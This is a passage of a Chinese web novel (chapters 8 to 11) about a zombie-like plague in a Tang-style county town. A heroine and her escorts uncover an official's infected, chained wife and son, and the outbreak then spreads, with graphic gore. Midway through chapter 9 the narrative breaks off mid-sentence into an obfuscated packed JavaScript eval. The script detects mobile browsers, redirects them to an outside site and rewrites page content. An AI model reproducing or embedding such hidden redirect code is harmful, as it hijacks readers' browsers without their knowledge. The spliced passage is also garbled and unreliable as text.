秦扶鸾看着那个空荡荡的荒凉院子,更是失望,她从青砖堆上跳下来,拍了拍手上的灰尘,准备原路返回。 走出去几步,忽然,顿住脚步。 脑中灵光一现,一个大胆的猜测在她脑子里浮现出来。 秦扶鸾转身走到那堵墙下,踩着青砖身姿轻盈地翻过墙,跳到了隔壁院子里。 院子里的荒草已经长到齐腰高了,她蹲下来仔细去看,果见贴着地面的几颗青草东歪西斜,那是踩踏的痕迹。 秦扶鸾兴奋起来,沿着地上那踩踏痕迹,一路朝对面的一间房走去。 刚走到廊下,忽然吹起一阵风,将屋檐下的蛛网吹得摇摇晃晃。 秦扶鸾嗅到一股不对劲的气息,胸膛里的那颗心猛烈跳起来。 耳畔似传来一阵细碎的动静,像是铁器摩擦时发出的声音。待要凝神静听,那声音却又消失不见了。过了片刻,又细细碎碎地响起来。 秦扶鸾心跳得愈发快,她深吸一口气,走近几步,去看门上的封条。 那封条本就是一张盖有官印的文书,经过多年的风吹雨打,纸张已经变得又薄又脆,上面的红色官印也已变得模糊。秦扶鸾看到封条中间沿着门缝的位置被人划开了一条细细的缝隙,若是不凑近了看,根本看不出来。 果然,她没有猜错——有人划开封条进了这屋子。 不知里面具体情形如何,秦扶鸾不敢贸然推门进去,她谨慎地绕到窗边,用手指捅破一层泛黄的窗户纸,一只眼睛贴上去,朝屋内看进去。 这似乎是一间卧房,房内光线昏暗,空气中浮满尘埃,床榻腐朽,帐幔已看不出本来的颜色。本该是间久无人居的空屋子才对。 可她却分明看见屋内立着一妇人,妇人身穿石榴红襦裙,挽着一条郁金香黄色披帛,正望着妆台上的那面铜镜发呆。 被锈蚀的铜镜里倒映出一张模糊不堪辨认的面孔。 那妇人身上鲜妍的颜色在这晦暗陈旧的卧房里看起来格外诡异。 风从破败的窗棂处吹了进来,室内帐幔飞舞,更显阴风惨惨,鬼气森森。 秦扶鸾手臂上起了一层鸡皮疙瘩,她正屏气凝神观察着房中那妇人。 突然,刺耳的锁链摩擦声恍如晴天霹雳骤然响起。 一张血淋淋的脸猛然扑到她跟前。 隔着一层薄薄的窗户纸,秦扶鸾望进了一只被血丝覆满的眼珠。 对上她眼神的那一瞬间,那只眼珠兴奋地转了一下。 9. 第 9 章 一股熟悉的腥臭气息钻进秦扶鸾的鼻息,她后背汗毛倒竖,头皮发麻,被那张血淋淋的脸吓得连连后退几步。 “砰”的一声。 窗户被砸得粉碎。 木屑飞溅,擦过秦扶鸾的脸颊,留下一道鲜红的痕迹,她却浑然不觉。 一头怪物骤然暴起,猛地扑向她。 秦扶鸾回过神来,快速抽出腰间横刀,急急挡在身前,惊慌中她看见那是一个约莫七八岁的男童,他双眼猩红、脖颈上青紫色的筋脉凸起,看起来明显与常人不同。 男童嘴里发出野兽般的嘶吼声,手脚并用地朝她扑过来。 秦扶鸾屏住呼吸,握紧手中长刀,正要蓄力去劈。 “叮”一声!就见男童身形猛然顿住,血淋淋的嘴里发出一声愤怒且焦躁的嘶吼声。 秦扶鸾看到男童脖子上套着一根铁链,此刻铁链绷得笔直,生生扼住他的动作,让他无法再上前一步。 男童死死咬着后槽牙,身体拼命挣扎着,一双嗜血的眼睛死死地盯着她,已是一副理智全无的野兽模样。 秦扶鸾手中横刀高高扬起,正要砍断那男童的脖颈,可屠刀刚要落下,望着男童那张轮廓稚气的脸庞,她的手腕却莫名有些发软。 秦扶鸾深深呼出一口气,见男童暂时不能靠近,她放下手中横刀,背靠廊柱,惊魂未定地看向房内。 刚才站在妆台前的妇人也已经回头朝这边看过来,露出了一张同样狰狞的面孔。 窗户被打破,室内的光线明显亮了起来,妇人脸上画着眼下时兴的血晕妆,眉毛全剃,眼下用胭脂画出三四道血痕,那妆容本就有几分诡异,此刻加上妇人脸上那狰狞的神情,看起来宛如一只地狱里爬出来的恶鬼。 妇人腰间同样系着一根粗铁链。 一大一小两个怪物全都死死盯住秦扶鸾,不顾一切地挣扎着想要朝她扑过来。那妇人的细腰几乎要被勒断,男童的脖颈更是被摩擦得血肉模糊,可他们却像是全然感受不到疼痛似的,那狰狞凶残的模样看得人心惊胆颤。 叮叮当当!叮叮当当! 锁链摩擦发出的声音既快且急,像是越敲越凶的战鼓,让人几乎喘不过来气。 秦扶鸾心脏狂跳,双目紧紧盯着屋内的场景,喉头干涩,过了片刻,才能蓄力发出一声呼喊: “崔尚!” - 一墙之隔。 崔尚被那县丞请到前厅,两人相对而坐。 县丞面色依旧苍白,他跪坐在蒲草席上,亲自给崔尚倒了一杯凉水,口中道:“家里的小丫头不知道去哪里顽去了,灶上没有热水煮茶,只能委屈崔将军了。” 《茶酒论》有云:“茶酒争功,水为最低”,凉水待客,等同于羞辱,莫说崔尚出身博陵崔氏,现又任靖王府典军,身份清贵已极,就说是一个布衣百姓登门,请他喝一杯凉水,也是大大的羞辱。 此事若放在旁人身上,此刻必然拂袖而去。但崔尚只是摆摆手,淡淡道:“无妨。” 他的目光落在那县丞身上,见他年龄约莫四十左右,身上穿着一件素朴的青衫,领口和袖边已经浆洗得有些发白,面容清癯,蓄着一把疏朗的山羊胡,看起来颇有一番文士风骨,只是此刻神情明显有些心不在焉。 “林大人应该知道最近城外发生了一些怪事吧……不知为何,好好的活人竟然变成了噬人血肉的怪物,着实瘆人。”崔尚顿了一下,见县丞那张古井无波的脸上竟没有一点起伏,又继续道:“本将正是为此事而来。” 县丞正望着手里的那杯凉水发呆,听到这话,他木然抬眼望过来,下颌处的山羊胡须随着说话的动作上下起伏着,像是一把失去了生机的荒草,道:“下官惶恐,近日身体抱恙,城中发生如此大事,竟不能为诸位上官分忧分毫,深愧失职。不知崔将军具体所为何事?” 崔尚微微一笑,端起面前的那杯凉水,仰头喝了一口,这才不急不慢地开口道:“如今全城戒严,靖王殿下担心当此特殊时期会有宵小之辈混在城内百姓之中为非作歹,特别关照本将要整理好城中百姓户籍手实,严防城中有贼人混入作乱。县令大人和县丞大人此刻正忙着在城中严守布防,本将想着此事原是由林大人经手,所以特来林大人府中想请大人同去县衙中整理籍册、核实人头。” 这个由头十分合理。变故兴微,祸乱作矣。如今城内戒严,百姓人人惶恐,那些地痞流氓极有可能趁机纠结起来在城内烧杀抢掠。 “靖王殿下深谋远虑,心系黎民,下官深感钦佩。只是下官实在是身体不济,实难陪将军同行。” 崔尚冷眼去瞧,只觉得那县丞的神情看起来像是一个被抽空了灵魂的空心人,只是凭借以往为官的话术在应付自己。崔尚有些不悦,心中思索是否要软硬兼施,冷下脸来发发官威吓吓对方,可那县丞的脸色又实在苍白,好像下一刻就要晕过去。 “林大人……” 崔尚斟酌片刻,话刚出口,忽听到秦扶鸾在喊他的名字。 “崔尚!” 听到这声音,崔尚神情一凛,奋衣而起,不顾身后脸色发白的县丞,直奔声音来处而去。 可后院内并无秦扶鸾的身影。 “崔尚,这里!” 崔尚寻声望去,就见秦扶鸾趴在隔壁墙头,冲他拼命挥手,面色透着急切,道:“这里有那东西!” 崔尚一愣,奔到墙边,单手一撑,如猿猴一般敏捷,秦扶鸾一个眨眼之间就见他已经翻过墙站在了她面前。 “在那里。”秦扶鸾回首指着那个房间。 不需她指,崔尚已然看到了那两个朝他们张牙舞爪的怪物,他大步走到跟前,一脚踹开房间。 灰尘簌簌而落,呛得跟在后面的秦扶鸾连连咳嗽。 “王妃殿下可曾受惊?” 崔尚神色警戒地朝那两个怪物靠近。 秦扶鸾摇摇头,轻声道:“这两人想必是那县丞的妻小。” 崔尚拔出腰间佩剑,正打算斩断那两个怪物的头颅。 “不要!不要杀他们!”身后传来一声悲切的呼喊。 两人回头去看,就见那县丞不知道什么时候跟了上来,他踉踉跄跄地奔到崔尚跟前,用自己的身体挡在那对母子前面,“他们不是怪物!他们还活着!只是生病了!” 崔尚冷下脸来,道:“林大人,你可知你已犯了重罪?你私自将这两个怪物关在家中,若有个万一,这满城百姓岂不是要为了你的一己私心陪葬?枉你还是饱读诗书的一县之丞,实在是糊涂至极!” 那县丞完全听不进去这些话,他跪下来一把抱住崔尚的腿,哀哀求道:“崔将军,放过下官的妻小吧!下官已经将他们锁住了,他们不会出去害人的!” 他虽是一介书生,但此刻拼尽了全身力气抱着崔尚的腿不放,崔尚一时间竟也挣脱不得。 秦扶鸾站在一旁,听那县丞字字泣血,又想起书房内那一封情意缱绻的书信,心中一时也是戚戚,可怜悯归怜悯,她却也明白纵使那县丞信誓旦旦说他们不会出去害人…… 等等……不对! 秦扶鸾脸色骤变,转头盯住那县丞,厉声问道:“你说他们不会害人,那他们嘴边的血迹是怎么来的?他们可曾咬了旁人?!”看那县丞脸色苍白,她又急切追问:“你被咬了吗?!” 县丞神情恍惚,失了智一般地只是摇头,口中呢喃:“没有,下官并没有被咬……” 秦扶鸾急得扑上去攥紧他的衣领:“你说清楚!他们嘴边的血迹到底是谁的?!” 县丞苍白的唇动了动,刚要开口。 突然听到“叮”的一声。 秦扶鸾愕然回头,就见身后那妇人竟然将铁链生生挣断,猛地扑向离她最近的县丞。 县丞不防,被那妇人扑到在地,不知是不是吓傻了,他竟丝毫不抵抗,只是木然望着那妇人,口中喃喃道:“珍娘……” 那妇人张开血盆大口就要咬住他的脖子。 秦扶鸾瞪大眼睛,一颗心几乎悬到嗓子眼。 下一刻,就听“呼啦”一声,一蓬鲜红腥臭的血飞溅而起,将头顶灰扑扑的帐幔染得通红。 一柄锋利的剑斩断了那女子的头颅。 县丞瞬间面如土色,瘫软在地,愣愣地看着地上那颗狰狞的头颅。 “砰”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068824|195189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,又是什么东西砸在地上的声音。 秦扶鸾回头去看,是崔尚又回身一剑斩断了那男童的头颅。 小小的头颅骨碌碌滚到了那妇人尸首旁。 秦扶鸾刚才被那突然扑过来的妇人吓了一跳,此刻仍然心有余悸,她捂着砰砰乱跳的胸口,走到那妇人跟前,拉起她腰间那根断掉的铁链,低声骂了一句:“奸商!”骂完,又低头怀疑地看了一眼自己手中的那柄长刀。 房内横着一大一小两具尸首。 那县丞手脚并用地爬到那妇人尸首跟前,一手抱着男童的头颅,一手揽着那无头女尸,口中自言自语道:“都怪我……都怪我,那日你说要回娘家,我本该陪你一起去的……我本该陪你一起的……” 崔尚转头看了秦扶鸾一眼,将淌着血的剑尖抵在那县丞的脖颈,冷冷发问:“林大人,敢问夫人和令公子可曾咬了旁人?” 秦扶鸾深吸一口气,冷静下来,走到崔尚旁边,低头望着那县丞,道:“你老实说了,我可吩咐人将你的妻小好好安葬,若是拒不交代,便把他们的尸首拖去乱葬岗叫野狗分食。” 那县丞此时目眦尽裂、鬓发散乱,状若疯癫,他抬头看着秦扶鸾和崔尚两人,空洞的目光又像是越过他们二人看向了更远处。 “来不及了。”他幽幽道。 两人一愣,心脏猛地下坠。 “此话何意?!” 那县丞凄然望着两人,山羊胡须颤抖着,嘴角牵起的那抹笑不知道是讽刺还是绝望。 “家中有个小婢子今日被珍娘和敏儿误伤,我把她关在房内,方才去找,她已不见了踪影……” 说完这句话,趁秦扶鸾和崔尚仍在愣神之际,他猛然暴起朝旁边的廊柱撞去。 因动作突然,崔尚愣了一下,这才反应过来伸手去制止他。 但那县丞已存了死志,使了十二分的力气,虽被崔尚拽住身体止住去势,额头还是“砰”的一声磕在柱子上,撞出一片通红血迹。 崔尚一把将他拖回来,怒道:“说清楚!那小婢子现在何处?!” 那县丞虽无性命之忧,但也撞得眼冒金星,双腿瘫软在地,眼皮半耷拉着,口中气息已经弱了下来,只喃喃道:“来不及了……来不及了……” 秦扶鸾上前几步,抓住他的领子,气愤道:“你为什么不早说?!你疯了吗?!你要全城的人都给你陪葬吗?!快说清楚,那小婢子现在在何处?!” 县丞抬头看着秦扶鸾,数道鲜红的血迹顺着额头流下来,慢慢淌满那张清癯的脸,他惨笑一声,道:“下官实在不知。” 秦扶鸾见那县丞三魂丢了七魄,眼下实在逼问不出来什么,她心里又恨又急,立刻抬头去望崔尚,道:“崔将军,你立即带他去县衙找卢县令,一则让卢县令速速下令让全城百姓立刻归家闭门不出,二则无论用什么办法,一定要逼问出那婢子的可能去向!我去城门处找孙县尉和冯简,让他们立刻组织全部人手在城内巡防!” 崔尚点头应了,拎着那半死不活的县丞,一脚踹开大门,将其甩在马背上,似是想到了什么,将要上马时,他又转头去看身后的秦扶鸾。 秦扶鸾已攀上那匹纯白宝驹,正低头望着他,满脸焦急地催道:“崔将军,火速!” 崔尚按下心中思绪,抓住缰绳,翻身上马,语气郑重道:“王妃殿下,千万保重。” 秦扶鸾胡乱点点头,旋即调转马头,呼喝一声,纵马而去,很快就不见了身影。 崔尚无奈收回视线,纵马朝县衙的方向疾驰而去。 两人各乘一骑,朝相反的方向奔去。 巷子外的那条大街上挤满了熙熙攘攘的人群。 城中的百姓没有见过城墙外的那些怪物,虽或多或少从别人口中听过一些骇人听闻的描述,但身处在这么多同类当中,最初的那种恐惧也早已消减了,只剩下一些挤在人群中的说不清道不明的彷徨和兴奋之感。 听闻官府将要封市禁严,所有人更是全家出动来街市上采买物资。城内热闹非常,大大小小的店铺里都挤满了人。 大街小巷上恍惚间竟有一种将要过新年的喧闹气氛。 10. 第 10 章 翠儿沿着那条长长的巷道一路往前走。 这世道不好,虽不像以前闹灾荒时要鬻儿卖女换活路,但似翠儿家这种一连生了好几个女儿才得了一个儿子的穷苦人家,总会送一两个难养活的女儿到大户人家为奴为婢,好为家里省点口粮。 翠儿就是这么被卖身为婢的,她爷娘嫌弃她吃得多,一狠心在她头上插根草带到东市上卖给了牙婆。 翠儿运气好,那牙婆给她寻了一户心善的主家,主人家从来不苛待她,做的活计也轻松,让翠儿吃了好几年的饱饭。 可这几天翠儿发现家中的男主人变得有些不寻常。 他不仅几次夜里鬼鬼祟祟地翻墙去隔壁,白天还总是一副失魂落魄的模样。 昨日街上传来一些可怕的流言,夜里又有公人来家里询问。 翠儿害怕,躲在房里,透过窗户看见男主人站在门前和那些公人说了几句话,然后关上门望着隔壁发呆。 翠儿心中惶惶,不知道发生了什么,又不敢去问。 今日一早见男主人出门去了,她思来想去,实在按捺不住内心的好奇,偷偷翻墙去了隔壁,没想到却在一间房内看见了被绳索绑住的娘子和小郎君。 娘子不是带着小郎君去娘家小住几日吗?怎么会在这里?还被绳索绑着? 翠儿吓了一跳,连忙走过去想要帮两人解开绳索。没想到娘子和小郎君却是一副全然不认识她的模样,还发狠地咬伤了她。 翠儿吓得魂不附体,手脚并用地逃了,好在有绳索困着,娘子和小郎君并没有追上来。 翠儿捂住伤口,心有余悸地翻过墙回到家,一抬头却看见男主人站在院中看着她。 日光晴好,男主人的脸色却是一片晦暗,他手里抱着一个盒子,用一种陌生的神情看着她,没有半点往日和煦儒雅的模样,似乎已经完全换了一个人。 翠儿吓得双腿打颤,道:“阿郎,奴婢……” 过了片刻,男主人木然开口道:“你回房待着,不许出来。” 翠儿连连点头,不顾身上的疼痛,奔进房里不敢出来。 她躲在榻上,用被子严严实实地捂住自己的身体。 明明是六月天,她却觉得浑身发冷,头也开始昏昏沉沉。 想起刚才娘子和小郎君的诡异模样,翠儿莫名有些心慌。 院子里传来一些窸窸窣窣的动静,过了片刻又沉寂下去。 翠儿猜测男主人又翻墙去了隔壁。 她越想越觉得害怕,最后一咬牙翻窗逃了出去。 天光大亮,刺得她眼睛有些疼。 翠儿心里只有一个念头——她想回家,她想回家看看爷娘可还安好。 翠儿按照记忆中的路线朝那个已经离开了好几年的家里走去。 她已经不觉得冷了,身体里像是有一团火似的,烧得她难受。 翠儿深吸一口气,用尽全身力气朝前奔去,在转弯处却迎面撞上了一匹高头大马。 马蹄高高扬起,长嘶一声。 翠儿吃力地抬头去看,就见马上坐着一个光彩照人的小娘子。 翠儿习惯性地把头埋下去,不敢去看那样的贵人。 “可曾伤着?”那小娘子问她。 翠儿想说话,喉咙里却干渴得像是被烙铁烫过,发不出一丝声音。 等不到她的回答,对方也没停留,很快纵马离去。 马蹄声渐渐地远了。 翠儿扭头盯着马上的那个背影看了片刻,却发现视线被一层朦胧的血色覆盖,她心中害怕极了,只能咬牙继续扭头朝前走。 她要回家。 她肚子饿了,想吃阿娘做的汤饼。 翠儿扶着墙一步一步地朝前走。 她想回家,她必须要回家。 这种信念支撑着她继续朝前走。 可往前走了两步,翠儿心里却陡然生出一股怨气和仇恨来。 她要回家。 她要回家问问爷娘,明明她没有她的小弟吃得多,为什么爷娘偏偏要卖掉她? 那怨恨越来越浓烈。 翠儿的眼睛里淌下两行眼泪来。 眼前的世界愈发模糊,被一片滚烫的猩红覆盖。 “啊啊啊!怪物啊!!!” 旁边不知道是谁尖叫了一声。 翠儿木然地转头去看,却发现自己已经看不清那人的模样了。 一切都变得模糊而遥远,直至彻底消弭。 太阳落在她身上,似乎有点温热的感觉。 可是这灿烂日光、这大千世界都已经与她无关了。 - 一声尖叫让秦扶鸾的心脏骤然一缩。 她双手用力紧紧勒住缰绳,身下白马被止住奔势,猛地扬起前蹄人立而起。 秦扶鸾抱住白马线条流畅的脖颈,心脏跳得飞快,待稳住身形,她转头望去—— 不远处的市集上聚集着一群人,声音似乎是从人群中央发出来的。 心头蓦地涌上一种不好的预感。 秦扶鸾来不及思考,用力挥舞手中马鞭,再次催动身下白马朝那边急速奔去。 到了近前她勒住马,只见里三圈外三圈围满了看热闹的人,人人脸上都写着看好戏的兴奋。 秦扶鸾朝人群中央看去—— 一个挎着菜篮的胖妇人被一个头发散乱的瘦弱妇人揪住衣领咬住手臂,那胖妇人拼命反抗,奋力朝周围呼救,周围人却笑着看热闹。 “周家嫂子,你平日里总是欺负你这个小妯娌,如今可是被她降住了吧?” “要说也奇怪,周家嫂子你这么敦实的一个人,怎么会被她这么个瘦弱的小身板治得不能动弹?” 原来只是两个妇人在打架。 秦扶鸾松了口气,正要掉转马头继续往城门处奔去。 如今那个被咬伤的小婢子不知去向,必须立刻聚集全城兵力,哪怕是掘地三尺也要将其找出来。 这时人群中一个老妇抱着婴儿挤过来看热闹,或许是身处拥挤不堪的人群有些不安,襁褓之中的婴儿不停地摆动着圆滚滚的小手臂,瘪瘪嘴,发出一声响亮的嚎哭声。 人群中的那个瘦弱妇人忽地抬起头朝这边看过来。 秦扶鸾本来正望着那嚎哭不止的婴儿,后脑勺却敏锐地察觉到一阵锐利凉风,她本能回头去看。 隔着拥挤嘈杂的人群,秦扶鸾猝不及防对上那妇人的眼神,一愣,整个人被雷击中了似的。 就见那妇人头发散乱糊住了脸庞,只露出一双猩红的眼睛,如同坟茔上飘浮的两盏幽幽鬼火,那张瘦削的脸上已爬满狰狞的青紫筋脉,看起来可怖至极。 那是……怪物?! 一瞬间,秦扶鸾后背寒毛竖起,浑身发冷。 “快散开!快!!!”她反应过来,立刻高声冲着眼前这片乌泱泱的人头喊道。 人群中有人注意到了秦扶鸾,他们转过头好奇地打量着这个骑在白马上的面色惊恐的俏丽小娘子,却并没有什么动作。 秦扶鸾现在孤身一人,身边既无仆从跟随,手边有没有可以证明身份的物件,自然不会有人听她的话。 几个游手好闲的市井无赖挤在人群最前面,嬉皮笑脸地望着那两个妇人。 “周家嫂子,还不使出你平日的威风?若是今日叫她治服了,以后你们家哪里还能有你说话的份?” “是啊,周家嫂子,快扒了她的衣服叫她没脸见人!” 围观众人听到这话也跟着起哄。 “快散开!”秦扶鸾又急又怕,厉声朝四周的人喊道:“那是会吃人肉的怪物!都不要命了?!快散开!” 话音未落,就见人群中的那瘦弱妇人突然扔下破布麻袋一般的胖妇人,猛地朝刚才调笑的无赖扑过去,张口就咬住对方还在不停翻飞的嘴唇,用力一扯,扯下一大片血淋淋的肉。 原本还在说笑的众人愣在那里。 周围安静了一瞬。 有人反应过来觉得有些不对劲开始往外挤。有人没看清楚觉得只是那妇人在撒泼,仍杵在原地不动。外圈的人什么都没看到,不但不退,反而愈加兴奋地往里面挤。 人群乱作一团,宛如一锅沸腾的热汤。 秦扶鸾按下心中恐惧,沉气拔出腰间横刀,跳下马,挤开纷乱的人群,朝人群中央走去。 那瘦弱妇人正抓着那无赖男子的脖颈大嚼,大股鲜血从她嘴唇边淌下来,很快就洇湿了她胸前的衣裳。 “救救……救……” 男子嘴里正要发出一声痛苦的呼救,下一刻,那妇人狠狠一口咬在了他的喉管上,男子双眼猛然放大,仰头看天,喉咙里发出“嗬嗬”的被贯穿的风声,紧接着,一颗脑袋无力地垂下来。 血腥味飘进鼻尖,秦扶鸾心跳得飞快,她动作轻捷地绕到那妇人身后,双手握住刀柄,深吸一口气,使出全身力气朝那妇人胸膛搠去。 只听“噗嗤”一声,一蓬鲜红的血浆喷涌而出。 那妇人正在大快朵颐,不防胸膛忽然被一柄长刀贯穿,她动作一僵,猛地回头怒视秦扶鸾。 秦扶鸾往后退了一步,想要拔出插在妇人身上的刀,可那刀却像是被什么东西卡住了,竟然纹丝不动。 妇人发出一声愤怒且痛苦的咆哮,手脚并用地朝秦扶鸾扑过来。 秦扶鸾只能舍弃长刀,松开手,往后一跃跳出几丈远。 妇人脚步踉跄,尚未碰到秦扶鸾的衣角便扑倒在地,她双臂在空中挣扎扑腾着,几息后,彻底没了动静。 “杀人了!!!” “救命啊!!!” 人群中爆发出尖叫,众人作鸟兽状朝四周奔散,周围的小摊被掀翻,瓜果蔬菜散落一地,有来不及逃跑的人被挤倒在地,霎时间周围惊呼声、哀嚎声一片,乱作一团。 一片混乱中,只有那被咬的胖妇人和无赖男子还躺在原地没有动弹。 秦扶鸾走到两人跟前,发现两人俱是一副出气多进气少的模样。 她低头看着那二人,神色有些复杂。 不远处忽传来一阵嘹亮的婴儿啼哭声。 秦扶鸾回头去看。 原来是刚才那位抱着孩子的老妇,她被惊慌的人群挤倒在地,襁褓中的孩子也摔了出来,正扯着稚嫩的嗓子大哭,几乎要哭岔了气。 秦扶鸾走到近前,先抱起那婴孩,又扶起老妇。 “立刻归家,锁上门,不要再出来。”她把婴孩塞到老妇手里。 老妇刚才见过秦扶鸾手起刀落的模样,早已吓得心胆俱裂,哪有心思听她在说什么,一把接过襁褓,扭头一瘸一拐地跑远了。 周遭人声纷乱。 秦扶鸾逆着人群走到那妇人尸首边,双手握住刀柄,咬紧牙关,用力一拔,这才将那柄卡在妇人骨头间的长刀拔了出来。 她拎着那柄滴血的长刀,朝躺在地上的两个人走去。 这时那胖妇人的眼皮已经耷拉下来,瞧着似乎已经死透了。可那无赖男子却还强撑着最后一口气,睁着双眼,目光哀求地望着秦扶鸾。 秦扶鸾拄刀而立,沉默地望着两人。 片刻后,她叹了一口气,正要有动作。 忽地,巷子那 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猎物就在眼前,那胖妇人双瞳愈加血红,嘴里发出可怕的咆哮声,浑身的气力也大了几分。 秦扶鸾拼尽全身力气去挡,眼角余光瞥到一旁被撞落在地的长刀,她咬紧牙关,抽出一只手拼命地去够那把长刀。可身上的那胖妇人压得她不能动弹分毫,几乎要喘不过来气。 秦扶鸾咬紧后槽牙,从齿缝间发出一声闷哼,带着压在她身上的胖妇人一起往旁边偏了几寸,指尖终于够到了那把刀,她快速抽过刀柄,把刀一横,锐利的白光贴着对方的脖颈划过。 “刺啦”一声,鲜血呼啦啦地躺下来,兜头兜脸淋了秦扶鸾一身。 那胖妇人瞪大眼睛,动作慢慢变得僵硬无力。 “差点压死我……” 秦扶鸾用尽最后一丝力气奋力推开那像一座小山般压在她身上的胖妇人。 刚要坐起来,忽见一支穿云箭破空飞来,她身体比脑子反应更快,就地一滚,这才堪堪躲过。 就听“噗嗤”一声,那箭没入地面,只剩下半截箭羽。 嚯!好大的力气。 秦扶鸾收回眼神,心下后怕不已,转头去看那罪魁祸首。 但见滚滚黄尘中一位冷面郎君骑着匹墨色神驹朝这边疾驰而来。 不是那位目中无人的靖王殿下又是谁? 秦扶鸾一愣,他现下不应该是在去昌乐县的路上吗?怎么会出现在这里? 对上李巽之微微错愕的眼神,她心头陡然升出一股怒气来,刚才要不是她身手敏捷,那支箭非要了她的命不可。 秦扶鸾双手叉腰,怒目而视:“喂,你……” 话还没出口,她脸上愤怒的表情僵住了,就在秦扶鸾惊讶的注视中,李巽之那张冰冷俊脸上似有诡异笑意浮过,忽又从箭囊里抽出一支箭,朝着她的方向搭弦拉弓。 秦扶鸾头皮一麻,慌忙叫道:“喂!你……” 刚吐出两个字。 那箭已经裹挟着凌厉之势直直朝她面门钉来。 秦扶鸾早已力竭,只觉那箭势逼人,叫人胆寒,她双腿一软,直接坐在了地上。 那支箭擦着她的发髻飞过。 “噗嗤”一声。 秦扶鸾愣愣地回头去看。 刚才还躺在地上奄奄一息的无赖男子不知什么时候已经站了起来,他额心被一箭贯穿,整个人被那支箭带着向后飞起,直到撞上一堵低矮土墙这才停了下来,“砰”的一声,那矮墙几乎被撞碎,激起一片尘土。 她咽了咽口水,又回头去看李巽之。 他骑在高头大马上,脸上虽没什么表情,可一双眼睛却亮得惊人。 这是报复!赤.裸裸的报复! 他在报复她站在城头朝他射的那一箭! 秦扶鸾只觉得一口气在心口乱窜,几乎要爆炸,她从地上爬起来,胡乱擦了一把脸上的污血,扫了一圈四周,在一个被打翻了的菜摊子前发现了自己的爱驹。 她刚才在鬼门关走了好几个来回,那畜生竟然在优哉游哉地嚼烂菜叶子。 秦扶鸾气得两眼一黑,她跑到跟前,拽出白马嘴里的菜叶,翻身上马,催马奔到李巽之跟前。 李巽之面无表情地看着她。 秦扶鸾深吸一口气,咬牙切齿地瞪他:“靖王殿下是否有眼疾?” 李巽之瞥了秦扶鸾一眼,见她满身血污,他毫不掩饰目光中的嫌恶,扭头望向不远处。 烈日炙烤大地,尘土飞扬,一大群怪物正朝这边极速涌来,如一群乌压压的鸟群,又如一群嗜血的蚂蝗,远远望去让人头皮发麻。 见他不答话,秦扶鸾更是气愤:“不是眼疾,莫非是心疾?殿下这心眼,怕是比大明宫的砖缝还要细一些!” 李巽之恍若未闻,他缓缓抽出一杆银枪,神色平静地拨转马头,面对着那群怪物。 “我要是你,现在就找个地方躲起来,而不是在这里耍嘴皮子。”他的声音里透着讽刺。 秦扶鸾不屑地冷哼一声,她攥紧手中的那柄长刀,驱马向前,与李巽之并辔,直面那些朝他们奔过来的怪物。 “刚才要不是你那碍事的两支箭,我早就砍翻那两个东西了,我从来不需要躲在别人身后!” 李巽之终于转头看过来,他的目光轻飘飘地落在秦扶鸾脸上,顿了一瞬,末了,嘴角扯起一个意味不明的弧度,道: “王妃殿下既如此神勇,那待会儿便要仰仗王妃了。” 11. 第 11 章 秦扶鸾还没来得及说话,斜刺里突然奔出来一个双眼赤红、张牙舞爪的怪物,直直地朝她扑来。 秦扶鸾稳住心神,一手扯住缰绳护住身下白马,另一只手攒足力气挥舞长刀朝那怪物劈去。 这一劈多少带了点泄愤的意味,就听“刺啦”一声,血肉横飞,那怪物竟被劈作了两截,内脏肠子流了一地。 秦扶鸾吓了一跳,当下手腕便有些酸软,可知道李巽之在看,她只能绷紧身体,面上故作沉静,甚至带着几分挑衅之色回头望过去。 李巽之瞥了她一眼,并不多言,一抖手中缰绳,下一瞬,竟直接纵马冲进了那些朝他们涌来的怪物堆里。 数十个怪物一瞬间扑了上去,将他连人带马团团围住,如同数十条饥肠辘辘的野狼在围剿落入巢穴的猎物。 秦扶鸾瞪大双眼,一时间竟不知道该如何反应。 这人当真勇悍如斯! 就见李巽之单人单骑,虽身陷敌阵,却面不改色,他出手又快又狠,那杆精钢铸就的长枪少说也有六七十斤,李巽之舞起来竟有一种轻灵之感,枪头闪着寒光,迅如闪电,一收一放之间,鲜血浇就的殷红鲜花渐次在那些怪物的胸膛上绽开,不消片刻,已有十几个怪物横尸马下。 如此剽悍战力,让秦扶鸾心下稍安,又想起对方刚才那句“待会儿便要仰仗王妃了”,咂摸出了一丝讽刺的味道。 秦扶鸾心中不快,冷眼看着那边战况,忽听身后那条街巷里传来一阵隐隐约约的尖叫声和嘶吼声。 她心里一沉,转头去看。 长街尽头扬起尘土,一片黑压压的人头正朝这边逼近。 他们身后竟然还有怪物!这疫情传播速度竟如斯恐怖! 也不知这顿丘县内的其他地方情况如何,在馆驿的青禾青苗还有杜文宪和冯简他们又是何种处境。 必须要尽快想办法脱身才行。 秦扶鸾面色焦急地左右环顾一圈。 他们二人现身处一个露天市集,对面是一堵高耸的土墙,两侧有小巷连接,身后则是一条狭长街道,地形状如漏斗。现在前方围着一大群怪物,身后退路也被怪物堵住,他们被困在这个漏斗中间,要想出去,除非有飞天遁地的本事。 她暗叫不好,李巽之虽战力非凡,但若是困在这样狭小的地形里被这么多怪物团团围住,他们二人也必不可能全身而退。 生死当头,秦扶鸾顾不得两人之间的嫌隙,高喝一声,纵马奔到李巽之身边,横竖几刀砍翻几个围在他身边的怪物。 李巽之察觉到身后有马蹄声在靠近,只当是秦扶鸾看到四面八方涌过来的怪物后心生畏惧来寻求庇护,他轻扯嘴角,并没有回头,手中长枪利落地挑翻了几个朝这边靠近的怪物,下一瞬,却敏锐地察觉到一丝不同寻常。 “不要动。” 有温热的气息扑在他的脖颈上。 李巽之疑惑地回头去看,就见那秦氏女竟伸出一只手颤巍巍朝他扑了过来。 